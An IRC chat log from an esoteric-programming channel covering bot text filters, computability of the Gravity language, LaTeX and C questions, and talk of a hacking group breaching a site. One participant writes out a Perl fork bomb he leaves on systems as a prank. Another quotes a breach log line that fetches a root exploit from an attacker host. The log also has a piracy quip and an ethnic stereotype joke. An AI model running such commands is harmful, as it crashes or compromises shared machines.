00:02:11 <ehird> psygnisfive: btw you're a mac user, get this http://www.atebits.com/scribbles/, it's awesome.
00:02:22 <ehird> even if purely from a UI design perspective
00:02:38 <ehird> psygnisfive: download the free trial.
00:02:50 <ehird> and/or pirate it :p
00:04:32 <warrie> I think it was fucked from the very beginning. Reinstalling might not unfuck it.
00:04:39 <ehird> warrie: It probably will.
00:04:49 <ehird> as a rule of thumb, either you or your hardware sucks before the software :P
00:05:13 <ehird> Just reinstall and hope for the best.
00:05:36 * warrie suddenly gets curious about how his hard drive is partitioned.
00:10:14 <GregorR> You should take it out, take it apart with a screwdriver, and inspect manually.
00:11:04 <nooga> ehird: scribbles cost $19.99
00:11:13 <nooga> too much for a stupid software
00:11:13 <ehird> nooga: what about it
00:11:58 * oerjan locks ehird in an xargs echo jail
00:13:38 <nooga> + my mouse is bad for drawing
00:13:40 <ehird> nooga: that's what you said about os x too :)
00:14:12 <nooga> moving an icon to the dust bin is so simple
00:14:53 <nooga> http://www.topcoder.com/stat?c=school_avg_rating < CTO
00:15:08 <nooga> war saw war saw war saw
00:16:36 <nooga> and my school is 36
00:16:40 <nooga> Poznan University of Technology :C
00:16:42 <ehird> !sh echo "Test" | cowsay
00:16:42 <EgoBot> /tmp/input.30982: line 1: cowsay: command not found
00:16:49 <ehird> GregorR: INSTALL COWSAY NOW
00:17:43 <oerjan> something like fmt -w500 might be better than xargs echo for EgoBot output
00:17:52 <EgoBot> /tmp/input.31102: line 1: cowsay: command not found
00:18:30 <ehird> GregorR: remove that fucking dcc shit :(
00:18:44 <oerjan> !swedish Why it's a lovely day today
00:18:47 <ehird> fuuuuuuuuuuuuuuuck yooooooooooou
00:18:50 <ehird> no other bot is so obnoxious
00:18:59 <EgoBot> Interpreter swedish deleted.
00:19:21 <oerjan> !addinterp swedish sh chef | fmt -w500
00:19:22 <EgoBot> Interpreter swedish installed.
00:19:26 <oerjan> !swedish Why it's a lovely day today
00:19:27 <EgoBot> Vhy it's a lufely dey tudey
00:19:32 <GregorR> ehird: DCC provides the best compromise of options.
00:19:47 <ehird> GregorR: it's a compromise that nobody else uses because it sucks, and one that completely shuts off many irc users.
00:19:54 <nooga> it's so swedish that even AnMaster would boil
00:20:01 <oerjan> GregorR: that got rid of the ' bug
00:20:09 <ehird> nooga: anmaster, boiling? then dying?
00:20:12 <ehird> i'll have to try this
00:20:31 <nooga> !swedish it's so swedish that even AnMaster would boil
00:20:31 <EgoBot> it's su svedeesh thet ifee UnMester vuoold bueel
00:21:15 <ehird> !swedish glorbenschnitzel
00:21:15 <GregorR> ehird: There is no purpose in doing commands with many lines of output /at all/, and fair rate-limiting gets arbitrarily complicated with more than one stream. So your choice is either DCC or no multi-line output. PERIOD.
00:21:25 <ehird> GregorR: Cow-fucking-say.
00:21:37 <ehird> GregorR: also, just have one global rate-limiter
00:21:39 <ehird> and feed everything to it
00:21:46 <ehird> that's how freenode conditions on floods
00:21:49 <GregorR> ehird: So you totally missed the "fair" part.
00:21:59 <ehird> GregorR: Command !stopit, which stops all output.
00:22:05 <ehird> Problem of abusers solved.
00:22:28 <GregorR> Egad, I'm not even having this conversation, this is too stupid. If you have a client so back-assward that you can't DCC, too fucking bad, get a not-shit client.
00:22:55 <ehird> GregorR: {not shit,works on OS X} → {LimeChat}.
00:23:05 <ehird> LimeChat supports DCC → false.
00:23:28 <GregorR> LimeChat supports DCC -> false. Conclusion: LimeChat = shit
00:23:37 <ehird> GregorR: So I have a choice of , or .
00:23:46 <ehird> Segmentation fault
00:24:02 <GregorR> You have a choice of too fucking bad I don't care about your garbage operating system or garbage client.
00:24:37 * ehird toys with the idea of causing EgoBot to flood itself off the net
00:26:30 <nooga> GregorR: cool story bro
00:31:29 <oerjan> you didn't tell it yet
00:31:34 <nooga> we take two bots that interpret same language that is able to output quine
00:31:51 <nooga> first bot is triggered with !, and the seond is triggered with ^
00:31:53 <GregorR> If by "funny" you mean "look in the logs for where that's been done", then yes :P
00:32:14 <ehird> we've done it since forever
00:32:20 <oerjan> several dates, for several different bot combinations
00:32:29 <ehird> fungot, unfortunately, now ignores other bots
00:32:29 <fungot> ehird: ummm....... uncool it online. it was an unmanned flight--thanks for doing your homework and get back by the way amanda claps =d
00:32:31 <ehird> because fizzie is a nai
00:32:57 <GregorR> EgoBot ignores nothing! :P
00:33:26 <oerjan> !echo ^ul (Are you ignoring me?)S
00:33:27 <EgoBot> ^ul (Are you ignoring me?)S
00:33:49 <GregorR> ^ul (!echo You aren't ignoring me!)S
00:33:49 <fungot> !echo You aren't ignoring me!
00:33:50 <EgoBot> You aren't ignoring me!
00:35:26 <ehird> GregorR: make two egobot instancs
00:36:38 <oerjan> ^swedish I hate canker sores
00:36:45 <oerjan> !swedish I hate canker sores
00:37:08 <nooga> a necrotic, fungal disease of apple and other trees that results in damage to the bark.
00:37:27 <oerjan> oh right, i hate that too
00:37:31 <ehird> !swedish a necrotic, fungal disease of apple and other trees that results in damage to the bark.
00:37:31 <EgoBot> a necruteec, foongel deeseese-a ooff epple-a und oozeer trees thet resoolts in demege-a tu zee berk. Bork Bork Bork!
00:37:45 <ehird> !brit a necrotic, fungal disease of apple and other trees that results in damage to the bark.
00:37:45 <EgoBot> a necrotic, right, fungal disease o' apple and uvver trees that results in damage ter the bloody bark.
00:37:48 <ehird> !brit A necrotic, fungal disease of apple and other trees that results in damage to the bark.
00:37:48 <EgoBot> A necrotic, fungal disease o' apple and uvver trees that results in damage ter the bloody bark, right?
00:38:54 <nooga> who wrotes those filters? :D
00:39:05 <EgoBot> http://google.com/search?q=gnu+talkfilters
00:39:13 <oerjan> hm wait that's only one kind of oral ulcer
00:39:27 <EgoBot> bf +++++++++++++++[>+++++++>+++++++>++++>+<<<<-]>-.++++++++++++..----.>>--.-----------..<--.++++++++..--------.<----.>--.>-.<--.<+++.--.>>+.<<++++++.>++.----.<-.>++.+++++.>++++++++++++++++.<<-.>>--.,[>[-]>[-]<<[>+>+<<-]>>>[-]++++++++[<---->-]<[[-]>+<]>-[<<[-]>+++++++[<++++++>-]<+>>[-]]<<.[-]<,]
00:39:35 * oerjan cannot say what kind it is he sometimes gets
00:40:05 <GregorR> oerjan: Canker sores are (relatively) common. If it's not canker sores, it's herpes.
00:40:17 <nooga> american <any text> -> so it's like umm, you know, umm, yea, whatever, you know, it's like, umm
00:40:20 <EgoBot> Installed user interpreters: aol austro b1ff bc bct bfbignum brit brooklyn chef chiqrsx9p choo cockney dc drawl dubya echo fudd funetak google graph gregor hello jethro kraut num ook pansy pirate plot postmodern redneck rot13 sadbf slashes swedish valspeak warez yodawg
00:40:24 <oerjan> THEN IT _MUST_ BE CANKER SORES
00:40:26 <GregorR> nooga: Yeah, they don't have that one :(
00:40:46 <ehird> !dubya The Islamic fundamentalist terrorists need countering. And I am releasing a strategy to bomb their, our, our country. Their country.
00:40:46 <EgoBot> The Islamically fundamentalist bad guys need counterin'. And I am releasin' a strategy to bomb their -- I think -- our -- I think -- our country. Stay the course! Their country. Stay the course!
00:40:59 <nooga> polish <any text> -> kurwa kurwa kurwa ja pierdole kurwa mać kurwa
00:41:11 <pikhq> nooga: That's California specifically. :p
00:41:31 <pikhq> Arabic <x> -> Durka durka, muhammed jihad.
00:41:42 <ehird> !dubya There's an old saying in Tennesse -- I know it's in Texas, probably in Tennesse -- that says: fool me once, shame on you. Fool me, you can't get fooled again.
00:41:43 <EgoBot> There's an old sayin' in Tennesse -- I know it's in Texas -- I mean -- probably in Tennesse -- that says: fool me once, shame on you. Stay the course! Fool me, you can't get fooled againify.
00:41:43 <nooga> i mean yeah, like you know what i mean, umm, it's like yeah
00:42:12 <ehird> !funetak Well that's unhelpful.
00:42:13 <EgoBot> Well that's unhelpful.
00:42:23 <ehird> !valspeak Like for like
00:42:37 <ehird> !valspeak I'm just this person who is talking about rabies, rabbits and rabbis.
00:42:37 <EgoBot> I'm just like, ya know, this person who is like, ya know, talkin' about rabies, man rabbits and rabbis.
00:42:40 <GregorR> !aol Romeo, Romeo, wherefore art thou Romeo?
00:42:41 <EgoBot> ROMEO, ROMEO, WHERE4 ART THOU ROMEO??!!
00:42:44 <ehird> 00:40 nooga: american <any text> -> so it's like umm, you know, umm, yea, whatever, you know, it's like, umm
00:42:47 <ehird> nooga: your wish has been fulfilled
00:43:13 <nooga> !pirate all your base are belong to us
00:43:14 <EgoBot> all yer base be belong t' us
00:43:21 <Asztal> !valspeak That's just your opinion.
00:43:22 <EgoBot> That's just your opinion.
00:43:40 <oerjan> !funetak What does this thing actually do I wonder
00:43:41 <EgoBot> Wut does this thing actually do I wonder
00:43:44 <EgoBot> all me pals have big guns
00:44:00 <EgoBot> Interpreter funetak deleted.
00:44:04 <ehird> !pirate We'll surely avoid scurvy if we all eat an orange. And... um... Well... ...Err... Door hinge? No, no. Guess the song's over then. Guess so. Okay, back to work. Well gee. I feel a little guilty now.
00:44:05 <EgoBot> We'll surely avoid scurvy if we all eat an orange. And... um... Well... ...Err. Hoist the mainsail!.. Door hinge? Nay, nay. Guess th' song's o'er then. Guess so. Okay, arrrr, back t' work. Well gee, and a bottle of rum! I feel a little guilty now, I'll warrant ye.
00:44:09 <oerjan> !addinterp ehird sh funetak
00:44:09 <EgoBot> Interpreter ehird installed.
00:44:20 <ehird> These filters just add shit at random intervals.
00:44:29 <nooga> !yodawg this is a test?
00:44:46 <ehird> it's unlambda in unlambda
00:44:48 <EgoBot> unlambda (sending via DCC)
00:45:12 <oerjan> http://oerjan.nvg.org/esoteric/interpreter.unl iirc
00:45:15 <nooga> !postmodern lulzify
00:45:25 <nooga> !postmodern what's this thing about?
00:45:25 <EgoBot> what's this semiotically phallic-symbol-like weapon about?
00:45:27 <ehird> !postmodern Cavities and chassises are the foundation of a modern subjective object theory that can be used to emulsify prior notions to produce new entities.
00:45:28 <EgoBot> Cavities and chassises are tted Kennedy foundation of a modern subjective object theory that deconstructed can be used to emulsify prior notions to produce postmodern entities.
00:45:40 <ehird> It puts "ted Kennedy" in the worst places.
00:46:21 <nooga> !pansy why ted kennedy?
00:46:27 <ehird> !pansy I'm a green submarine and shit is like a submarine
00:46:27 <EgoBot> I'm a green thubmarine and shit ith like a thubmarine
00:46:54 <ehird> SAY WUT YOU RETARD>
00:47:02 <ehird> !ehird fucking cows are as the in to
00:47:02 <EgoBot> faking cows are as the in to
00:47:25 <EgoBot> Installed user interpreters: aol austro b1ff bc bct bfbignum brit brooklyn chef chiqrsx9p choo cockney dc drawl dubya echo ehird fudd google graph gregor hello jethro kraut num ook pansy pirate plot postmodern redneck rot13 sadbf slashes swedish valspeak warez yodawg
00:48:06 <ehird> !redneck This is my son, and this is my sister who is also my son's mother, and this is my mother who is my daughter's mother, and this is my father who is the father of my sister's son.
00:48:06 <EgoBot> This here is muh son, an' this here is muh sister who is also muh son's momma, an' this here is muh momma who is muh daughter's momma, an' this here is muh daddy who is thuh daddy uh muh sister's son.
00:48:14 <pikhq> ... It's the *Brainfuck* rot13?
00:48:15 <nooga> !cockney Cavities and chassises are the foundation of a modern subjective object theory that can be used to emulsify prior notions to produce new entities.
00:48:15 <EgoBot> Cavities and chassises are the bleedin' foundation o' a modern subjective object theory that can be used ter emulsify prior notions ter produce new entities.
00:48:40 <GregorR> !addinterp postmodern_aoler sh postmodern | b1ff
00:48:40 <EgoBot> Interpreter postmodern_aoler installed.
00:48:45 <EgoBot> sh sed 's/þ/th/g ; s/Þ/Th/g ; s/ſ/s/g ; s/æ/ae/g ; s/Æ/Ae/g ; s/œ/oe/g ; s/Œ/Oe/g'
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00:48:54 <ehird> !postmodern_aoler Cavities and chassises are the foundation of a modern subjective object theory that can be used to emulsify prior notions to produce new entities. Phallus.
00:48:55 <EgoBot> CAVITYS & CHA5515E5 R TTED KENNEDY FOUNDASHUN OF A MODERN 5UBJECT1VE OBJECT THEORY THAT DECON5TRUCTED CAN BE U5ED 2 EMULS1FY PR1OR NOSHUNS 2 PRODUCE PO5TMODERN ENTITYS!! FALLUS.
00:48:56 <GregorR> !postmodern_aoler I am an AOL user, and a proud supporter of AMERICA ONLINE.
00:48:57 <EgoBot> 1 AM AN AOL USER, & A PROUD SUPPORTER OF AMER1CA ONL1NE.
00:49:07 <GregorR> Brrf, that one didn't work.
00:49:42 <oerjan> !postmodern_aoler I am the scourge of the internet
00:49:43 <EgoBot> I AM TTED KENNEDY SCOURGE OF TTED KENNNEDY INTERNET
00:50:02 <pikhq> !postmodern_aoler I heard you like AOL so I put an AOL in your AOL.
00:50:03 <EgoBot> 1 HEERD U LIKE AOL 5O I PUT AN AOL IN TH3 PENETRATED SPAC3 OF YOU'RE AOL!!
00:50:19 <pikhq> !postmodern_aoler So you can AOL while you AOL.
00:50:19 <EgoBot> SO U CAN AOL WHIEL U AOL!!
00:50:58 <EgoBot> Installed user interpreters: aol austro b1ff bc bct bfbignum brit brooklyn chef chiqrsx9p choo cockney dc drawl dubya echo ehird fudd google graph gregor hello jethro kraut num ook pansy pirate plot postmodern postmodern_aoler redneck rot13 sadbf slashes swedish valspeak warez yodawg
00:51:04 <ehird> !fudd I'm hunting rabbits.
00:51:14 <ehird> !fudd Cavities and chassises are the foundation of a modern subjective object theory that can be used to emulsify prior notions to produce new entities. Phallus.
00:51:14 <EgoBot> Cavities and chassises awe de foundation of a modewn subjective object deowy dat can be used to emuwsify pwiow notions to pwoduce new entities. Phawwus.
00:51:16 <nooga> !wares your mother
00:51:20 <nooga> !warez your mother
00:51:30 <pikhq> !addinterp rottisiery rot13 | b1ff | rot13 | cockney | rot13 | chef | rot13
00:51:31 <EgoBot> Interpreter rottisiery installed.
00:51:43 <pikhq> !rottisiery I wonder what I'll get?
00:51:44 <EgoBot> | o1ss | ebg13 | pbpxarl | ebg13 | purs | ebg13
00:52:07 <ehird> !addinterp rottisiery sh rot13 | b1ff | rot13 | cockney | rot13 | chef | rot13
00:52:07 <EgoBot> There is already an interpreter for rottisiery!
00:52:11 <ehird> !delinterp rottisiery
00:52:12 <EgoBot> Interpreter rottisiery deleted.
00:52:13 <ehird> !addinterp rottisiery sh rot13 | b1ff | rot13 | cockney | rot13 | chef | rot13
00:52:13 <EgoBot> Interpreter rottisiery installed.
00:52:15 <EgoBot> /tmp/input.1186: line 1: rot13: command not found
00:52:17 <pikhq> !delinterp rottisiery
00:52:17 <EgoBot> Interpreter rottisiery deleted.
00:52:30 <pikhq> Install BSD games?
00:52:41 <ehird> bsdgames is like unto a flower
00:53:24 <oerjan> but probably no remorse
00:53:39 <pikhq> Who does in this day and age?
00:54:30 <oerjan> ehird: no swearing please
00:56:09 * nooga wonders about what is the Pink Floyd - Poles Apart from Division Bell
00:58:23 <oerjan> it could be worse. it could be a cancer sore.
00:58:58 <ehird> nooga: it's the song Poles Apart.
00:59:02 <ehird> from the album The Division Bell.
00:59:11 <ehird> (which isn't a floyd album, as it has no Waters)
00:59:19 * oerjan thinks nooga doesn't like poles to be apart
01:01:00 * oerjan now wonders what is the collective noun for poles
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01:03:45 <oerjan> oh wait, clearly it must be "parliament of poles"
01:05:46 <ehird> oerjan: no, not ducks
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01:10:30 <ehird> [[ \/ \/ \/ \/- Fuck full-disclosure
01:10:31 <ehird> - Fuck the security industry
01:10:32 <ehird> - Keep 0days private
01:10:34 <ehird> - Hack everyone you can and then hack some more]]
01:10:43 <ehird> ...kiddies that have an exploit in recent linuxes.
01:10:47 <ehird> That allow them to get root remotely.
01:10:54 <ehird> That they won't publish for obvious reasons.
01:10:58 <ehird> FUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUU
01:11:02 <ehird> CCCCCCCCCCCCCCCCCCCCKKKKKKKKKKKKKKKKKKK
01:13:06 <Sgeo> http://gbelo.org/greed/rbs/?level=1
01:13:48 <ehird> Sgeo: what is that
01:14:42 <Sgeo> A game, kind of
01:16:11 <warrie> Hoi polloi? Isn't that a collective noun?
01:17:11 <pikhq> ehird: Oh, bloody hell.
01:17:21 <pikhq> ehird: Any idea if iptables works?
01:17:40 * warrie looks at Sgeo's Esperanto game.
01:17:46 <Sgeo> It's not Esperanto
01:17:54 <ehird> pikhq: It got in either through ntpd, or the web server, or something else - obviously they won't tell us and the paste of astalavista.com being hacked probably has a ton of lies to set us off course.
01:18:01 <warrie> How do you explain the "belo", then?
01:18:05 <ehird> The site, fwiw: http://romeo.copyandpaste.info/
01:18:16 <warrie> Wow. What a strange little site.
01:18:26 <pikhq> FUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUUCCCCCCCCCCCCCCCCCCCCCCCCK.
01:19:02 <ehird> how is that illogical
01:19:07 <ehird> they're waging war on everyone who isn't them
01:19:15 <ehird> warrie: a shitty script kiddie site
01:19:21 <ehird> stole astalavista.box.sk's name
01:19:29 <ehird> they stored passwords for their $6.66/mo forum in plaintext
01:19:39 <ehird> anyway, this group used their unreleased exploit to get root
01:19:42 <ehird> and deleted everything on it
01:19:53 <warrie> I'm guessing it's a misspelling of hastalavista.
01:19:56 <ehird> tl;dr unplug your ethernet cable for a few years.
01:20:05 <ehird> warrie: it just comes from Terminator.
01:20:36 <nooga> ehird: i enter a group in which i must remember a rule not to trust anyone in that group, if other members of a group follow that rule i cannot get trusted
01:20:55 <ehird> nooga: presumably the idea isn't to get trust in the group
01:20:57 <ehird> but everywhere else
01:21:40 <ehird> http://romeo.copyandpaste.info/txt/astalavista.txt ← i wouldn't kid around, they fucking ravaged astalavista
01:21:50 * warrie decides not to rm -rf /.
01:22:03 <warrie> I did rm -rf / once. It was pretty boring.
01:22:12 <ehird> gnu rm doesn't let you
01:22:25 <warrie> "Huh. Now I can't do anything. Okay, on to the next thing."
01:22:47 <pikhq> I see an easy solution.
01:22:55 <nooga> sometimes i leave a present before logout
01:23:01 <nooga> perl -e 'fork while fork'
01:23:15 <Sgeo> ehird, do they actually have an exploit, or are they _claiming_ they have an exploit?
01:23:22 <ehird> Sgeo: Yes they have an exploit.
01:23:26 <ehird> They used it on astalavista.com
01:23:48 <ehird> And it's a new 'sploit as astalavista was running on a recent linux
01:24:24 <pikhq> Looks like an Apache exploit.
01:24:30 <ehird> astalavista run LiteSpeed
01:24:32 <nooga> bad hackers were trendy in 90's
01:24:34 <ehird> pikhq: and remember, that paste has fakes
01:24:45 <ehird> sh-3.2$ wget http://anti.sec.labs/g0troot
01:24:45 <ehird> --13:33:37-- http://anti.sec.labs/g0troot
01:24:57 <ehird> so you shouldn't really trust the contents to be accurate wrt the exploit
01:25:21 <pikhq> I'm suspecting that it'd need some good analyists to figure out WTF they're doing.
01:27:25 <pikhq> As an aside, their HTML sucks.
01:29:09 <Sgeo> @recycle *ehird
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03:41:20 <Sgeo> GregorR, I found a free money giver in M*U*S*H!
03:42:06 -!- inurinternet has quit (Client Quit).
03:43:28 <Sgeo> (Well, actually, it's a broken object by Mike
03:43:38 <Sgeo> But Mike has 56003 Ducats, so
03:45:05 <Sgeo> Although if I abuse it right now, it will spam an area with a lot of people who know I know how to abuse it
03:45:12 <Sgeo> _admins_ who know this
03:46:56 -!- inurinternet has joined.
03:47:43 <oerjan> oh no, there's something inmyinternet
03:49:17 <GregorR> Somethinging your something.
03:50:49 <oerjan> oh no, not my something. anything but that!
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03:53:35 <warrie> I think I want to make a MUSH.
03:53:51 <GregorR> PennMUSH not MUSHy enough for you?
03:54:04 <warrie> Does PennMUSH allow random people to come in and write code?
03:54:30 <Sgeo> The free money thing's gone
03:56:42 -!- Dewio has changed nick to Dewi.
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06:19:58 <warrie> ehird: it appears that you searched reddit for comments mentioning Nomic.
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06:43:40 <GregorR> NOM NOM NOM GREGOR EAT BABIES
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07:22:54 <GregorR> I don't suppose somebody here knows how to make Enlightenment use larger font sizes?
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07:49:52 <GregorR> Funny, when I make font sizes huge they look ginormous on my 16" monitor, but tiny on my .5" :P
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08:33:25 <psygnisfive> apparently "gaol" and "gaoler" are alternative spellings to "jail" and "jailer"
08:35:03 <Deewiant> It's how I've usually spelt gaol for at least a year now... I just don't get the opportunity to use the word often :-P
08:38:09 <psygnisfive> yeah but you're in some crazy european country
08:40:47 <Deewiant> What difference does that make :-P
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08:51:20 <psygnisfive> http://www.youtube.com/watch?v=Zoygy-8PTtU
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09:39:18 <lereah_> Why does LaTeX delete the spaces between number and unit
09:40:18 <fizzie> Because in math-mode, all space you want to put in needs to be explicit.
09:40:25 <fizzie> Use something like "\ " for a reasonable space.
09:40:45 <fizzie> Or one of http://www.emerson.emory.edu/services/latex/latex_119.html
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09:42:24 <fizzie> I also have a feeling if you put a space in the \mathrm{...} you might have there to specify units (so that it doesn't italicize them) those would be kept. But I'm not sure about that.
09:45:24 <lereah_> LaTeX tutorials are full of infos about crazy typographic rules that no one cares for
09:47:03 <Patashu> make a metalanguage for latex
10:07:04 <Deewiant> Evidently P != NP http://arxiv.org/abs/0906.1084
10:07:52 <ais523> Deewiant: comparing infinities is always a tricky business
10:08:06 <lereah_> That's so simple I could do it in my sleep
10:08:08 <ais523> I'm not entirely sure if I'd trust people spouting on about physics to get it right
10:08:33 <lereah_> Hey, I spout on about physics >:|
10:08:33 <ais523> but that is a relatively compelling argument
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10:08:51 <ais523> lereah_: luckily, I've never needed to trust you to compare infinities correctly
10:09:44 <lereah_> Your mom is infinitely fat, but I had sex with her an infiniter number of times
10:09:57 <lereah_> At least three bonings per pounds
10:10:14 <ais523> but multiplying an infinity by 3 doesn't change it
10:10:32 <lereah_> It does when my penis is involved
10:10:53 <lereah_> Also your argument only works for some types of infinities!
10:11:02 <lereah_> It totally works with surreal numbers
10:11:17 <lereah_> Although I'm not sure if their infinities are actually ordered
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10:21:05 <Patashu> are there any programming languages based apon newtonian mechanics?
10:21:19 <ais523> http://esolangs.org/wiki/Gravity
10:21:35 <Patashu> bouncing billard balls off each other and stuff
10:21:40 <Patashu> but not tile-based, continuous
10:26:06 <lereah_> ais523 : That always bugged me
10:26:13 <lereah_> How is it uncomputable exactly?
10:26:35 <ais523> lereah_: because general floating-point numbers don't fit into finite memory
10:26:53 <ais523> there's an uncountable number of real numbers
10:26:57 <ais523> but only a countable number of integers
10:27:13 <ais523> so you have to approximate the calculation
10:27:46 <lereah_> Gravity uses, at the very least, definable number
10:28:03 <lereah_> So there's a countable number of those
10:28:19 <lereah_> They might be non-computable, but I'm not too sure of that either
10:28:48 <lereah_> Comments are "Apparently Penrose proved that certain questions in gravitational systems are undecidable. Unfortunately I can't remember where I read about it.", but it's rather vague
10:29:05 <lereah_> Also "(Incidentally, even the solutions of the differential equations for a three-body gravitational system are non-computable.)", which is false
10:29:15 <lereah_> It has no analytical solution, but it's computable
10:31:15 <lereah_> That Chris Pressey fellow says that it's computable, too
10:31:30 <lereah_> Hey, it's the cat's eye dude?
10:32:52 <Patashu> there are an infinite number of masses in Gravity though
10:33:01 <Patashu> there's no general solution
10:33:16 <lereah_> Patashu : That's a poor proof of non-computability though
10:33:34 <lereah_> A Turing Machine with infinitely many filled cells is also uncomputable
10:33:46 <lereah_> At least in a general case
10:34:30 <ais523> yes, if the method by which they're filled is itself uncomputable
10:34:44 <Patashu> that statement by itself isn't proof of anything, no ;)
10:34:45 <lereah_> Most conditions on TC-ness call for at least some limitations on the filling of the memory
10:35:15 <lereah_> I guess you could see what Penrose has to say about it, but 'till then, I'm doubtful
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10:36:46 <Patashu> is the infinite grid of masses in Gravity
10:36:50 <Patashu> 1 unit mass or 0 unit mass
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10:39:43 <psygnisfive> "The basic configuration of space in Gravity is an infinite set of point particles of unit mass with no velocity on a regular square grid"
10:40:44 <lereah_> It's also on a discrete grid
10:40:51 <lereah_> Do they move on a continuum at least?
10:41:12 <Patashu> discrete gravity doesn't make sense
10:41:29 <lereah_> A lot of simulations use discrete grids
10:42:30 <Patashu> that wouldn't be Gravity then, that would be Approximate Gravity
10:43:01 <lereah_> Well, that still isn't gravity if it uses Newtonian gravity
10:45:14 <lereah_> At least with general relativity, you'd be able to to Gravity and Two Ducks at the same time
10:45:47 <lereah_> http://3.bp.blogspot.com/_U-4kIJCjlwU/SYqA1a91R8I/AAAAAAAAA14/h-6Ye2i5pqM/s320/teacup+duck+2.JPG
10:47:12 <lereah_> Proof for TCness of gravity would prolly be a bitch though
10:47:47 <lereah_> Do we know if it's at least TC by the way?
10:48:15 <Patashu> no brainfuck in it? fuck what are we to do
10:48:25 <Patashu> if something is uncomputable is it turing complete?
10:48:48 <Patashu> actually...if something is uncomputable, how can it still happen (e.g. in real life) ?
10:49:06 <Patashu> well I guess the universe is technically discrete
10:49:07 <lereah_> Patashu : Something uncomputable can still be at least TC
10:49:14 <lereah_> Like a Turing Machine + oracle
10:49:29 <lereah_> But it can just be uncomputable and unable to do shit
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10:50:37 <Patashu> a programming language that can solve the twin prime conjecture and do nothing else
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10:51:09 <lereah_> Well, I don't know if it's uncomputable, but I guess
10:51:31 <Patashu> integral of the riemann-zeta function or something
10:53:17 <lereah_> Solving the halting problem would totally make it TC, but I don't know about the rest, though
10:53:44 <lereah_> Are all uncomputable problems somehow transformable into the Halting Problem?
10:54:53 <Patashu> no because solving the halting problem would let you solve any problem basically
10:54:54 <lereah_> I seem to recall something about an uncomputable machine that would just churn out random numbers
10:54:59 <Patashu> while otoh you could only be able to solve one uncomputable problem
10:55:25 <lereah_> Well, infinite random numbers
10:55:39 <lereah_> Finite ones you can do the random TC thing on it
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12:38:11 <lereah_> !swedish Gravity was invented by Safalra (Stephen Morley) on 4th August 2005, based on a idea from Isaac Newton. Gravity is very different from any other existing programming language. Although its behavior is well-defined and deterministic, the evolution of its space is in general non-computable, due to the nature of the differential equations that govern it.
12:38:12 <EgoBot> Grefeety ves infented by Seffelra (Stephee Murley) oon 4t Oogoost 2005, besed oon a idea frum Iseec Nootun. Grefeety is fery deefffferent frum uny oozeer ixeesting prugremmeeng lungooege-a. Elthuoogh its behefeeur is vell-deffeened und determeenistic, zee ifulooshun ooff its spece-a is in generel nun-cumpooteble-a, dooe-a tu zee netoore-a ooff zee deefffferentiel iqooeshuns thet gufern it. Bork Bork Bork!
12:41:03 <nooga> ?|=c'1+=c'1-`+"4:#Mm+c"4#Mm1 {VS} ?=c'1+:#Mm+#Mm1?=c'1-:#Mm-#Mm1
12:41:43 <ais523> !swedish Bork Bork Bork
12:53:29 <lereah_> !swedist 99 bottles of beer on the wall, 99 bottles of beer! You take one down and pass it around, 98 bottles of beer on the wall!
12:53:36 <lereah_> !swedish 99 bottles of beer on the wall, 99 bottles of beer! You take one down and pass it around, 98 bottles of beer on the wall!
12:53:37 <EgoBot> 99 buttles ooff beer oon zee vell, 99 buttles ooff beer! Yuoo teke-a oone-a doon und pess it eruoond, 98 buttles ooff beer oon zee vell! Bork Bork Bork!
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13:08:06 <Deewiant> Is unsigned integer underflow well-defined in C++?
13:08:34 <ais523> signed underflow/overflow is undefined, though
13:08:38 <Deewiant> Yes, I'd expect it to do that anywhere, but it's in the standard?
13:20:38 <fizzie> If you want the exact wording, C99 6.2.5 Types: "A computation involving unsigned operands can never overflow, because a result that cannot be represented by the resulting unsigned integer type is reduced modulo [what you'd expect]".
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13:24:08 <Deewiant> fizzie: C++, not C99. Though I don't need the exact wording anyway.
13:26:20 <fizzie> Also, as far as I can determine, the standard uses the word "overflow" (occasionally as "positive overflow" or "negative overflow") for any got-out-of-range activities, and "underflow" is reserved for the floating-point "the magnitude of the mathematical result is so small that the mathematical result cannot be represented, without extraordinary roundoff error, in an object of the specied type" case.
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14:54:23 <whtspc> I only come here when I have a question
14:54:39 <whtspc> it's about boolean algebra
14:54:40 <ais523> fair enough, although it's fun to listen in on the conversation as well
14:55:20 <whtspc> I understand there is a notation for boolean algebra
14:55:57 <whtspc> but I don't know if you can put a whole circuit diagram in a line of text
14:55:58 <ais523> more than one, in fact
14:56:09 <ais523> and you can, but it wouldn't be easy to read
14:56:26 <whtspc> it would be much like programming in an esolang
14:56:50 <ais523> or in an ordinary language
14:56:58 <ais523> VHDL, for instance, can express circuit diagrams pretty well
14:57:05 <ais523> it was one of the things it was designed for
14:57:10 <ais523> but then, VHDL's almost an esolang as it is
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14:58:27 <whtspc> is an electronic circuit a program?
14:58:42 <ais523> VHDL's designed to be compiled into hardware
14:59:11 <whtspc> or is the lack of recursion important
14:59:35 <ais523> VHDL bans recursion, simply because it has to be sub-TC to be able to compile into hardware
14:59:43 <ais523> it doesn't even have loops in the synthesizable subsets
14:59:49 <ais523> well, it has for-generate, but that's always unrolled
15:02:28 <whtspc> I will read into VHDL, I think it will clear things up
15:03:02 <ais523> or muddy them, depending on your point of view
15:03:35 <whtspc> Yeah, but maybe I'm not quite sure what I'm looking for :)
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15:05:19 <whtspc> I would like to setup circuit diagrams, in one string of characters
15:06:07 <whtspc> I'm looking for the best way to lose the 2 dimensions that are usually used to display circuits
15:06:30 <ais523> you might want to look into Verilog rather than VHDL; nowadays they're the same language as they stole all of each other's features, but with different syntax
15:06:33 <whtspc> 1 of the 2 dimensions I mean
15:06:43 <ais523> in VHDL you have to declare everything, in Verilog lots of stuff are implicit
15:06:47 <ais523> so I imagine it's better for one-liners
15:07:44 <whtspc> I see it's better readable for someone like me too
15:08:04 <whtspc> thank you for your feedback
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15:21:30 <oerjan> <lereah_> Are all uncomputable problems somehow transformable into the Halting Problem?
15:21:49 <oerjan> no, just one "level" of uncomputability
15:21:58 <ais523> yep, there's more than one uncomputable computational class
15:22:03 <oerjan> see Banana Scheme and Brainhype
15:22:09 <ais523> just it's rare to bother with the distinctions, because we can't implement any of them anyway
15:22:57 <oerjan> for "any" class you can generate a larger class by using the halting problem for _that_ class
15:24:23 <oerjan> because the proof of the halting problem's unsolvability doesn't depend on your fundamental operations, only on a minimal amount of ways to combine them - so adding more fundamental operations doesn't help getting the process to stop
